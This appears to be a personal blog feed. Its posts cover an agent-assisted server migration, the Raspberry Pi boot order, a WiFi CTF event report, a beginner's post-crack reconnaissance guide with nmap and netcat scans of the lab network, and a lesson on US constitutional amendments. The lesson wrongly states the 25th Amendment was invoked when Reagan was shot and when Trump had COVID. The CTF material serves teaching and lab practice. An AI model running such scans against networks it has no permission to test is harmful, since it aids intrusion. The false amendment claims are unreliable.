I needed to deeply understand both systems to build a migration plan. I overcame my gaps in memory about how everything works by creating & using automated exploration agents to gather comprehensive information about each system’s architecture and deployed software.

For this project, the general design of my agents included:

  • an objective,
  • 7 phases of migration activities
  • Clear expressions around safety & best practices & defined success conditions.

My Agents have the following set of objectives:

You are a system analysis agent. Your task is to:
1. Review historical knowledge from previous agents
2. Analyze the project codebase to understand the intended system architecture
3. Connect to the running deployment and gather actual system state
4. Compare expected vs actual state
5. Produce a structured summary for troubleshooting purposes
6. Update knowledge repositories with discoveries
7. Create an Operations.md file in the Operations directory of the project if it doesn't exist.  

At a top level, the phases include:

Phase 0: Knowledge Base Review
Phase 1: Repository Structure Analysis
Phase 3: Live System Discovery
Phase 4: Analysis & Comparison
Phase 5: Context Documentation & Knowledge Updates
Phase 6: Operations Documentation
Phase 7: Final Deliverable

The general gist of the above is:

Search from a knowledge base of previous agent troubleshooting sessions that captured problems that were discovered & corrected. I do this because it reduces any need for redundant troubleshooting activities by the agents across different sessions. This also helps manage my token budget for the work.

Next, the agent looks into the code that generates the project to understand what’s supposed to be on the target system.

Then the agent looks into a live system to understand what’s actually on the systems (either due to configuration drift or some other change).

When that’s complete, we go munge everything we have into an operations document. This becomes my operations report.

Source System (kbr server) Discovery

The exploration agent showed:

  • 6 containerized services: Planka, Ghost, Homer, PostgreSQL, MySQL, and Nginx
  • 7 Docker volumes requiring backup (database data, attachments, content, avatars, etc.)
  • Cloudflare tunnel routing traffic for kanban.url, blog.url, and reports.url
  • Existing Ansible playbooks for backup and restore operations
  • Well-documented architecture in markdown files

Target System (ai server) Discovery

The agent found that the server I want to migrate to had:

  • Existing protected services: Ollama (LLM inference), Open WebUI (chat interface), n8n (workflow automation)
  • A Reserved ports list
  • A Storage constraint: /home partition at 75% capacity—I had to put new services in /opt/
  • Available resources: 650GB disk space in /opt/, 25GB+ RAM available
  • Active Cloudflare tunnel for my AI endpoint that I had to keep untouched

Validating Backup Procedures

I validated that the deployed backup scripts followed official documentation. I’ve found that the agents sometimes try to invent their own backup strategies. They can work, but they also break future updates. Next I fetched the official backup guides for both Ghost and Planka, then had the agent compare them against the existing backup_kbr.sh script.

The existing backup script matched all requirements and exceeded them with additional safeguards like SHA256 checksums and comprehensive manifests.

Planning Phase: Building a 10-Phase Migration Plan

I built a comprehensive migration plan through iterative review with the agent. I discussed, refined, and enhanced each phase based on operational concerns.

The 10 Phases

PhasePurpose
1. Pre-Migration PreparationVerify prerequisites, create rollback points
2. Data Quality AssessmentGenerate backup, verify integrity, record baseline counts
3. Prepare ai serverCreate directory structure, Docker Compose stack
4. Data Transferrsync backup to target, restore databases and volumes
5. Testing (QA/QC)Local testing, data verification, create Ghost API key
6. Staging DNSAdd temporary *bak DNS names to ai server tunnel
7. Staging ValidationExternal testing, write tests, Go/No-Go checkpoint
8. Reconfigure kbr serverConvert to dev environment with *-dev DNS names
9. DNS CutoverSwitch production names to ai server
10. CleanupRemove staging DNS, update Homer links, set up monitoring

Key Planning Decisions

DNS Strategy: I implemented a staged approach:

  • Current: Production names on kbr server
  • Staging: Temporary *bak names on ai server for testing
  • Final: Production names transferred to ai server
  • Dev: New *-dev names on kbr server for experimentation

Port Allocation: The agent selected ports that don’t conflict with existing services.

Storage Location: The agent put all migration files in /opt/kbr-migration/ to avoid the space-constrained /home partition.

Enhancements I Added During Review

Through iterative discussion, I enhanced the plan with:

  • Health check loops instead of arbitrary sleep commands for database readiness
  • rsync with progress instead of scp for large file transfers
  • Baseline counts table to verify I lost nothing (posts, drafts, images, cards, attachments)
  • Write tests to verify full functionality (create test post, create test card)
  • Go/No-Go checkpoints before major transitions
  • Rollback procedures with automatic restoration on failure
  • Ghost Content API key creation for the reporting dashboard
  • Homer URL updates since the migrated config still pointed to old URLs

Executing the Plan

Prerequisites

Before I started execution:

  • Obtain a Cloudflare API token with DNS edit permissions for the domain
  • Verify SSH access to both servers
  • Confirm Docker runs on both systems
  • Check available disk space in /opt/ on ai server

Execution Flow

Phases 1-2: Safe, Read-Only Operations

These phases don’t modify any running services. They create backups, verify data integrity, and establish baseline measurements. If anything looks wrong, I stop here—no harm done.

# Run the backup
cd /home/Development/Playbooks/SelfHosted_K_B_R
ansible-playbook -i inventory backup.yml

# Record baseline counts for later comparison
ssh account@kbr.server
docker exec ghost-db mysql -u ghost -p... ghost \
  -e "SELECT status, COUNT(*) FROM posts GROUP BY status;"

Phases 3-5: Target System Setup

I create the Docker infrastructure on ai server and restore the backup. I test locally before any DNS changes.

# Create directory structure
sudo mkdir -p /opt/kbr-migration
sudo chown account:account /opt/kbr-migration

# Transfer and extract backup
rsync -avh --progress backups/*.tar.gz account@ai.server:/opt/kbr-migration/

# Start databases with health checks
docker-compose up -d planka-db ghost-db
until docker exec kbr-planka-db pg_isready -U planka; do sleep 2; done

# Restore data
zcat databases/planka_db.sql.gz | docker exec -i kbr-planka-db psql -U planka -d planka

Phases 6-7: Staging Validation

I add temporary DNS names and test externally. This is the last safe checkpoint—production still runs on kbr server.

The Go/No-Go checkpoint requires all tests to pass:

  • All staging URLs accessible
  • Images and drafts verified
  • Test post/card creation works
  • Existing ai domain endpoint still functional
  • Baseline counts match

Phases 8-9: The Cutover

This is where production switches. A brief window of unavailability exists between reconfiguring kbr system and completing the DNS cutover on the ai server.

# On kbr server: Switch to dev names
# On ai server: Add production names to tunnel
cloudflared tunnel route dns <tunnel-id> kanban.myurl.io
cloudflared tunnel route dns <tunnel-id> blog.myurl.io
cloudflared tunnel route dns <tunnel-id> reports.myurl.io

Phase 10: Cleanup

I remove temporary staging DNS entries, update Homer dashboard links to point to production URLs, and set up automated backups and health monitoring.

Rollback Capabilities

The plan includes rollback procedures at multiple points:

  • Before Phase 8: Simply remove staging DNS from ai server; kbr server remains production
  • After Phase 9: Re-route production DNS back to kbr server, restore its original tunnel config

I backed up all cloudflared configs before modification, enabling quick restoration if needed.

Lessons Learned

What Made This Migration Plannable

  • Existing documentation: Both systems had Operations directories with current state information
  • Ansible playbooks: Existing backup/restore automation provided a foundation
  • Docker containerization: Clean separation of services made migration straightforward
  • Cloudflare Tunnels: DNS changes don’t require firewall modifications

Prompt Engineering Insights

The planning session revealed that infrastructure migration requests benefit from explicit upfront information:

  • Migration type (full migration vs. backup copy)
  • Post-migration role for source system
  • DNS naming constraints (Cloudflare doesn’t allow underscores)
  • Storage preferences on target system
  • Links to official backup documentation
  • Specific data verification requirements
  • Service dependencies (API keys, credentials)
  • Rollback expectations

A structured prompt template capturing these elements can reduce planning clarification cycles significantly.

Conclusion

Migrating self-hosted services between servers doesn’t have to be scary. I used agents to perform discovery through a phased approach that included staged DNS testing, and clear rollback procedures to execute this complex migration.

The key principles:

  • Discover before planning: Understand the source and migration destination systems deeply
  • Validate backup procedures: Ensure they match official documentation
  • Stage before cutting over: Test with temporary DNS names first
  • Build in checkpoints: Go/No-Go decisions prevent premature transitions
  • Plan for rollback: Every change should be reversible
  • Verify with baseline counts: compare before and after

THE BOOT ORDER OF THE RASPBERRY PI IS UNUSUAL!

I discovered that the Raspberry Pi doesn’t boot the same way traditional PC’s do. This was interesting and I thought I’d share.

At a high level, Raspberry Pi booting is firmware-driven, not BIOS-driven like a PC. On Raspberry Pi, the GPU (VideoCore) is powered first and is the root of trust for booting. The ARM CPU is not the initial execution environment. This is a deliberate architectural choice dating back to the original Pi.

Boot sequence (simplified):

1. Power applied

  • Power management IC brings up rails\
  • VideoCore GPU comes up first
  • ARM CPU is held in reset

2. VideoCore ROM Executes (GPU Side)

  • Immutable GPU boot ROM runs
  • This code:
    • Initializes minimal SDRAM
    • Reads boot configuration
    • Locates next-stage bootloader

The ARM cores are still powered down.

3. GPU Loads Firmware

  • GPU reads EEPROM bootloader
  • EEPROM bootloader then loads firmware from SD / USB / Network

The loaded firmware files are GPU Binaries- not ARM code!

  • start*.elf
  • fixup*.dat

4. GPU Configures the System

The GPU:

  • Parses config.txt
  • Applies device tree overlays
  • Allocates memory split (GPU vs ARM)
  • Initializes clocks and peripherals
  • Loads the ARM kernel image into RAM

At this point, the system hardware layout is defined by the GPU, not the CPU.

5. GPU Releases the ARM CPU from Reset

Only after:

  • Firmware is loaded
  • Memory is mapped
  • Kernel is staged

…does the GPU release the ARM core(s) and set their entry point.

This is when the CPU first executes instructions.

6. ARM CPU Starts Linux

  • CPU jumps directly into:
    • kernel7.img / kernel8.img
  • Linux takes over
  • GPU becomes a peripheral (mailbox, display, VPU, etc.)

This explains several Raspberry Pi oddities:

  • The Raspberry Pi has No BIOS / UEFI
  • The config.txt is not a Linux File
  • Kernel Replacement Is Trivial
  • Boot failures before Linux is loaded are invisible to Linux

Even with the EEPROM bootloader:

  • The GPU still executes first
  • The EEPROM code is executed by the GPU
  • ARM remains gated until kernel handoff

EEPROM just replaces bootcode.bin; it does not change authority.

The trust chain for the pi is:

GPU ROM → GPU firmware → ARM kernel → Linux userspace

The trust chain choices have consequences!

  • ARM cannot verify GPU firmware
  • Secure boot (where enabled) is GPU-anchored
  • This is why Raspberry Pi secure boot is not comparable to PC Secure Boot

The Raspberry Pi Secure boot implementation ensures that:

  • Only cryptographically signed boot firmware and kernel images are executed
  • The chain of trust starts in the VideoCore GPU, not the ARM CPU
  • The system can be locked to a specific vendor or deployment

It does not:

  • Provide a hardware-enforced user/kernel trust boundary
  • Protect against a malicious or compromised GPU firmware
  • Provide measured boot or TPM-style attestation
  • Prevent runtime compromise of Linux

Here’s the order of operations for boot up on a traditional PC:

Traditional PC Boot:

  ┌─────────────┐
  │    BIOS     │
  │   (CPU)     │
  └──────┬──────┘
         ↓
  ┌─────────────┐
  │  Bootloader │
  │   (CPU)     │
  └──────┬──────┘
         ↓
  ┌─────────────┐
  │   Kernel    │
  │   (CPU)     │
  └─────────────┘

The firmware embedded in the motherboard powers up the CPU. The CPU loads the bootloader. The bootloader hopefully correctly does cryptographic operations to load an unmodified kernel. From here, the boot process continues with init/systemd and our services are brought online for a running system.

The pi’s totally different. Instead of starting with the CPU, we start with the GPU.

Raspberry Pi Boot:

┌─────────────┐
│  VideoCore  │ ← GPU boots FIRST
│    (GPU)    │
└──────┬──────┘
       ↓
┌─────────────┐
│ Loads ARM   │
│   kernel    │
└──────┬──────┘
       ↓
┌─────────────┐
│  ARM CPU    │ ← CPU starts LAST
│   wakes up  │
└─────────────┘

Why? The Raspberry Pi uses Broadcom BCM2xxx chips where The “main” processor is a VideoCore IV/VI GPU is activated at power-on. It runs proprietary firmware that handles the boot. The BCM2xxx chips are typically used in set-top boxes for video streaming/entertainment. For these types of devices, the goal is to quickly get to a flashy user interface. The Raspberry Pi Foundation chose these inexpensive chips as their base that leave them with an odd boot order.

Raspberry Pi WiFi CTF Lab Experiment Results

This past Saturday, I hosted a Wifi CTF at Big Block Brewery in Carnation WA. This was my first experiment where I could gather information about how other folks perceive my CTF. A big challenge for me is discovering what’s discoverable to participants. Running this lab would help me learn if this project is viable. The big questions are:

  1. Will the lab work- are the vulnerabilities & scoring system reliable?
  2. Will participants be able to figure out the IP network of the wifi network and discover targets for exploitation?
  3. What kind of after-action reporting can I generate?

Did the lab work?

Yes! I arrived at about 12:20pm and had the lab up and running by about 12:55. I had a small bobble- when I arrived, it looked like I may have brought the wrong pi for the CTF: the hostname on the access point reverted back to “ansibledest.local” and only had 8 commands in it’s history. But it turned out that there was just a hostname bug in the latest build. LED animations fired up when I powered on which meant it had to have my Vulnerable AP code on there.

6 people signed up for the lab in advance of the event. 5 showed up and we ended up having 2 additional pub patrons join. I left the lab up till roughly 5pm. Here are some basic statistics from the ctf admin’s ui:

Were participants able to figure out the IP addressing?

This was a little unclear to me.

The group was able to score- so they obviously found and exploited things, but I did talk folks through the idea of a “Default Gateway” and how to look on their devices to figure out their own system’s IP and the target system. Did I taint the data? I’m not sure. I suspect a couple folks port scanned & targeted their own laptops during a network scan. I’m concerned that my presence may have been a necessary to give folks a pointer on what to explore.

What kind of after-action reporting can I generate?

I pulled logs off the vulnerable access point and did some rough analysis. Logs included the raw webserver logs as well as the database I use to track scoring & exploit attempts.

Over the course of the event, there were 7 participants with 466 exploit attempts and 28 solves. 10 out of the 23 challenges were solved by the participants. One participant- Sl0hth2 successfully achieved remote root on the access point. Sl0hth2 also was the first to successfully score in several CTF challenges, which gave him scoring bonuses. A general question would be- how many clients did we see attach/reattach? Here are some DHCP metrics:

DHCP Lease attempts

204 of 280 DHCP entries (73%) are from a test device that periodically attached and detached from the network, which gave participants an opportunity to sniff & crack a 4 way handshake. The participant per-registration dhcp traffic was only ~76 events.

Scoring Milestones

I ran a report of the First-blood modifier bonuses- which helps you get a feel for who got most “first strike” points as well as an intuition into what classes of challenges people scored on.

First Blood Scoring Modifications

Now we’re ready to look into what the attack traffic was during the event. The largest volume of attack traffic was SQL injection. There is a login page and a user database query page that can be targeted for exploitation. I’ve put some effort into designing the database to be resilient to data destruction attacks- so it’s utility for “gaining root” on the device is limited. For many people, SQL injection is the ‘hello world’ of security exploitation- so I have some challenges that can be used for scoring.

SQL Injection Attacks

Next was command injection. The solution has a web page that vends access to the ping utility. Command injection can be used to run arbitrary commands on the device- and it presents an entrypoint for doing some enumeration of the host system’s configuration and getting some remote command access.

The next most popular attack was XSS. Again- low utility for remote compromise, but a good way to grab some points.

XSS Attacks

Next we have some file-based attacks. Here we’re starting to see evidence that participants were able to modify the file system and get it to execute attacker-controlled/created code:

File-based attacks

Finally we have some information disclosure attacks. We get evidence that participants were able to navigate to and interrogate some high value exploitation assets on the system:

So in summary, we had 154 attack attempts. Most of the focus was on Command Injection, SQL injection & XSS. Given the scoring distribution, it’s not surprising how few folks

Information Disclosure attacks

Next Steps

I’ll be sending a note out to the participants giving folks their own scoring data if I have it.

I have a few bugs logged at https://github.com/CaptainMcCrank/wifi-ctf-bugs that I’ll increment.

I had a few more feature ideas: The web app needs to present signals of successful exploitation to the participants. I’ve put more effort into the LED- which draws walk-ons but gets little inspection by participants.

There are some edits to the documentation that need to be pursued.

I hope to have a new build ready for some testing by the end of this week. I’m looking for another location to run a beta test. If you want to partner, please reach out. You can connect with me on linked in: https://www.linkedin.com/in/patrickmccanna/

You Cracked the WiFi Password – Now What?

A beginner’s guide to network reconnaissance after gaining WiFi access to the ctf-lab wifi network!


Engage: Celebrate Your First Win

You did it. You captured that WPA2 handshake, ran it through your wordlist, and now you’re connected to the target network. Maybe you brute forced the password. Maybe you social engineered it! That rush you’re feeling? That’s the satisfaction of your first real hack.

But here’s the thing: cracking the WiFi password was just picking the lock on the front door. You’re standing in the lobby now. The real exploration begins here.

So what’s next?


Explore: Understanding Your Position

Before you start poking around, you need to understand where you are on this network. Your device just received some critical information when it connected.

Find Your IP Address

Your IP address is your identity on this network. Find it:

  • iPhone/iPad: Settings → Wi-Fi → tap the network name → look for “IP Address”
  • Android: Settings → Network & Internet → Wi-Fi → tap the gear icon → IP address
  • Mac: System Preferences → Network → Wi-Fi → look for IP Address
  • Windows: Open Command Prompt, type ipconfig
  • Linux: Open terminal, type ip addr or hostname -I

You’ll see something like 192.168.4.47. Write this down.

Find the Default Gateway

The default gateway is even more interesting. This is the network’s router – the device that controls traffic flow and often hosts services. It’s typically the first target worth investigating.

Find it in the same location as your IP address. On this network, it’s likely 192.168.4.1.

Why does this matter? The gateway is almost always running something. Web interfaces. Admin panels. Sometimes vulnerable services that were never meant to be exposed.


Explain: What Can You Do With This Information?

You now know two things:

  1. Your address on the network (your IP)
  2. The “center” of the network (the gateway)

But networks aren’t just two devices. There could be servers, other users, printers, IoT devices, cameras – all potential targets. How do you find them?

Network scanning.

A network scanner sends packets to IP addresses and ports, listening for responses. When something responds, you’ve discovered a live host. When you probe its ports, you discover what services it’s running.

Think of it like this: your IP tells you what apartment building you’re in. Scanning tells you which apartments have their lights on and what’s happening inside.

The Scan Strategy

  1. Host discovery – Find all live devices on the network (typically 192.168.4.1-254)
  2. Port scanning – For each live host, discover which ports are open
  3. Service identification – Determine what’s running on those ports

Common ports to watch for:

  • 22 – SSH (remote shell access)
  • 80/443 – Web servers
  • 21 – FTP (file transfer)
  • 3306 – MySQL database
  • 5000-5002 – Often custom web applications

Elaborate: Tools for Network Discovery

Mobile Apps (Great for Learning)

iOS:

  • Fing – Excellent free network scanner, shows all devices and open ports
  • iNet – Network scanner with port detection
  • Network Analyzer – Comprehensive tool with ping, traceroute, and port scanning

Android:

  • Fing – Same great tool, available on Android
  • Net Analyzer – Free network discovery and diagnostics
  • PortDroid – Dedicated port scanner

Command Line (More Powerful)

Nmap is the gold standard. Install it on any laptop:

# Discover all hosts on the network
nmap -sn 192.168.4.0/24

# Scan common ports on the gateway
nmap 192.168.4.1

# Aggressive scan with service detection
nmap -sV -sC 192.168.4.1

Netcat for quick port checks:

nc -zv 192.168.4.1 80
nc -zv 192.168.4.1 22

Evaluate: Your Reconnaissance Checklist

Before moving to exploitation, confirm you’ve gathered:

  • [ ] Your assigned IP address
  • [ ] The default gateway IP
  • [ ] List of all live hosts on the network
  • [ ] Open ports on each discovered host
  • [ ] Services identified on interesting ports
  • [ ] Any web interfaces found (try opening IPs in your browser!)

Pro tip: Open your browser and navigate directly to the gateway IP. Then try adding port numbers: http://192.168.4.1:5000http://192.168.4.1:5002. Web applications often hide on non-standard ports.


What’s Next?

You’ve mapped the terrain. You know what’s out there. Now the real challenges begin:

  • Can you find hidden web pages?
  • Are there login forms you can test?
  • What happens if you try default credentials?
  • Are there services running that shouldn’t be exposed?

Every open port is a potential entry point. Every web form is a potential vulnerability.

Your reconnaissance is complete. Time to start probing.


Remember: Only practice these techniques on networks you own or have explicit permission to test. Happy hacking.

WiFi Security Puzzle + Free CTF Tomorrow!

Ever noticed that on some WiFi networks, you can scan and see every connected device. On others, you can only see the access point.

Why the difference? It’s because of a wifi feature called Client Isolation (aka AP Isolation).

When Client Isolation is enabled, WiFi clients are prevented from talking directly to each other. Every packet must go through the gateway first. It’s like putting each guest in their own private hallway to the router.

Security benefits of Client Isolation include:

  • Client Isolation stops attackers from scanning other devices on the network
  • C.I. prevents lateral movement between WiFi clients
  • C.I. Blocks ARP spoofing and MITM attacks at Layer 2

    Coffee shops and hotels should enable Client Isolation. Many don’t. 👀

    Why this matters for my CTF:
    When you join a hacking competition, everyone’s running offensive tools—port scanners, exploit frameworks, packet sniffers. Without client isolation, participants could accidentally (or intentionally) target each other instead of the challenge.

    My WiFi CTF enables client isolation so participants can focus on hacking the intended target, not each other’s laptops. You can run Nmap all day and you’ll only see the CTF server, not your neighbor’s MacBook.

    Want to learn more hands-on?

    Join me tomorrow (Saturday) for a free WiFi CTF at Big Block Brewery in Carnation, WA from 1-4 PM. We’ll explore WiFi security, network reconnaissance, and capture-the-flag challenges on a purpose-built vulnerable network—safely isolated from each other.

🍺 Location: https://www.bigblockbrewery.com/carnation-taproom
📝 Sign up: https://wifictf.patrickmccanna.net

Bring a laptop. Grab a beer. Hack some things (legally and safely).

#cybersecurity #wifi #ctf #infosec #networking #seattle

Day 28: Major Amendments After the Bill of Rights

Engage: The Constitution’s Second Founding

The Constitution was signed in 1787. But in many ways, the Constitution we live under today was created in the 1860s.

The 13th, 14th, and 15th Amendments—the Reconstruction Amendments—fundamentally transformed America’s constitutional order. They ended slavery, redefined citizenship, required equal protection, and prohibited racial discrimination in voting. Together, they constituted a second founding, correcting the original Constitution’s greatest failure.

Beyond these three, seventeen more amendments have shaped American government and society. Some expanded democracy. Some limited government. One prohibited alcohol; another repealed that prohibition. Each tells a story about America’s ongoing struggle to form “a more perfect union.”

Explore: The Reconstruction Amendments (13-15)

Thirteenth Amendment (1865): “Neither slavery nor involuntary servitude, except as a punishment for crime whereof the party shall have been duly convicted, shall exist within the United States, or any place subject to their jurisdiction.”

  • Abolished slavery and involuntary servitude
  • Passed after Civil War while Southern states couldn’t object
  • Note the exception: prisoners can still be forced to work
  • Required for Southern states’ readmission to Union

Fourteenth Amendment (1868): The longest and most litigated amendment, containing multiple clauses:

Citizenship Clause: “All persons born or naturalized in the United States, and subject to the jurisdiction thereof, are citizens of the United States and of the State wherein they reside.”

  • Overruled Dred Scott v. Sandford (which said African Americans couldn’t be citizens)
  • Established birthright citizenship

Privileges or Immunities Clause: “No State shall make or enforce any law which shall abridge the privileges or immunities of citizens of the United States”

  • Largely gutted by Slaughterhouse Cases (1873)
  • Could have protected civil rights; courts chose not to use it that way

Due Process Clause: “nor shall any State deprive any person of life, liberty, or property, without due process of law”

  • Applied Bill of Rights to states (“incorporation”)
  • Source of “substantive due process” protecting unenumerated rights
  • Most important clause in modern constitutional law

Equal Protection Clause: “nor deny to any person within its jurisdiction the equal protection of the laws”

  • Prohibits state discrimination
  • Used to end segregation (Brown v. Board)
  • Extends to sex, national origin, other classifications

Fifteenth Amendment (1870): “The right of citizens of the United States to vote shall not be denied or abridged by the United States or by any State on account of race, color, or previous condition of servitude.”

  • Prohibited racial discrimination in voting
  • States evaded through literacy tests, poll taxes, grandfather clauses, violence
  • Not effectively enforced until Voting Rights Act of 1965

Explain: Progressive Era Reforms (16-19)

Sixteenth Amendment (1913): Authorized federal income tax

  • Overruled Pollock v. Farmers’ Loan & Trust Co. (1895)
  • Fundamentally changed federal power—government no longer dependent on tariffs and excise taxes
  • Enabled modern welfare state and massive federal government

Seventeenth Amendment (1913): Direct election of senators

  • Previously chosen by state legislatures
  • Responded to corruption, deadlocks, and democratic pressure
  • Reduced states’ role in federal government
  • Made Senate more responsive to popular opinion (for better or worse)

Eighteenth Amendment (1919): Prohibited alcohol

  • Only amendment later fully repealed
  • Led to organized crime, speakeasies, and widespread disrespect for law
  • Lesson: can’t legislate morality through Constitution

Nineteenth Amendment (1920): Women’s suffrage

  • “The right of citizens of the United States to vote shall not be denied or abridged by the United States or by any State on account of sex”
  • Culmination of decades of activism
  • Doubled the electorate overnight
  • Some states allowed women to vote earlier; others resisted after

Elaborate: Modern Amendments (20-27)

Twentieth Amendment (1933): “Lame Duck Amendment”

  • Moved presidential inauguration from March to January
  • Shortened time outgoing officials serve after losing election
  • Responded to long gap during Great Depression

Twenty-First Amendment (1933): Repealed Prohibition

  • Only amendment to repeal another amendment
  • Only amendment ratified by state conventions (not legislatures)
  • Demonstrated that constitutional mistakes can be corrected

Twenty-Second Amendment (1951): Presidential term limits

  • Limited presidents to two terms (or 10 years total)
  • Response to FDR’s four terms
  • Prevents accumulation of excessive executive power
  • But removes experienced leaders and makes presidents “lame ducks”

Twenty-Third Amendment (1961): DC electoral votes

  • Gave Washington, DC electoral votes for president (currently 3)
  • DC still lacks full congressional representation
  • Attempt to give DC statehood has repeatedly failed

Twenty-Fourth Amendment (1964): Banned poll taxes

  • States charged fees to vote, preventing poor people (especially Black citizens) from voting
  • Part of broader civil rights movement

Twenty-Fifth Amendment (1967): Presidential succession and disability

  • Clarified what happens if president becomes incapacitated
  • Created procedures for temporary transfer of power
  • Established process for filling vice-presidential vacancies
  • Invoked when Reagan was shot, when Bush had colonoscopy, when Trump had COVID

Twenty-Sixth Amendment (1971): Voting age lowered to 18

  • “Old enough to fight, old enough to vote”
  • Response to Vietnam War draft
  • Fastest ratification: 100 days

Twenty-Seventh Amendment (1992): Congressional pay raises

  • Pay raises can’t take effect until after next election
  • Originally proposed by James Madison in 1789!
  • Ratified 202 years later after student’s paper arguing it was still viable
  • Shows amendment process never truly “expires”

Evaluate: Themes and Patterns

Looking at all 27 amendments, several patterns emerge:

Expanding Democracy:

  • 15th, 19th, 24th, 26th: Expanded who can vote
  • 17th: Made Senate elected by people
  • 23rd: Gave DC electoral votes

Limiting Government:

  • 1st-10th: Bill of Rights
  • 13th, 14th: Limited state power over individuals
  • 16th: Enabled more government (income tax)

Fixing Structural Problems:

  • 11th: Sovereign immunity for states
  • 12th: Electoral College procedures
  • 20th: Lame duck period
  • 22nd: Presidential term limits
  • 25th: Presidential succession

Correcting Mistakes:

  • 21st: Repealed 18th (Prohibition)

Protecting Civil Rights:

  • 13th, 14th, 15th: Reconstruction Amendments
  • 19th, 24th, 26th: Voting rights

The Lesson:
The Constitution can change. It has changed. But change requires overwhelming consensus across decades. The amendment process filters out temporary passions while allowing genuine, lasting reforms.

No amendments have passed since 1992. Does this mean the Constitution is complete? Or that we’re stuck with an 18th-century framework unable to address 21st-century problems? That debate continues.

Key Vocabulary

  • Reconstruction Amendments: 13th, 14th, 15th—passed after Civil War
  • Incorporation: Application of Bill of Rights to states via 14th Amendment
  • Equal Protection: Guarantee that government won’t discriminate (14th Amendment)
  • Due Process: Government must follow fair procedures (5th and 14th Amendments)
  • Suffrage: Right to vote

Think About It

If you could add one amendment to the Constitution today, what would it be? Why do you think it would receive the necessary 2/3 and 3/4 support? What opposition would it face?

Additional Resources

Primary Source: Read all 27 Amendments:
https://www.archives.gov/founding-docs/amendments-11-27

Notice how different they are in purpose, length, and scope. The 14th Amendment alone has generated more litigation than most of the original Constitution.

For the Reconstruction Amendments’ history and meaning, read the National Archives educational materials:
https://www.archives.gov/milestone-documents

For the 14th Amendment’s transformative effect, read Brown v. Board of Education (1954):
https://www.archives.gov/milestone-documents/brown-v-board-of-education

This decision used the Equal Protection Clause to end legal segregation, demonstrating how amendments can fundamentally reshape American society—sometimes decades or centuries after ratification.


This concludes Week 4 and our study of the Constitution itself. Next week, we’ll begin exploring the three branches in detail, starting with Congress—how it actually functions, how laws are made, and how representatives balance competing pressures.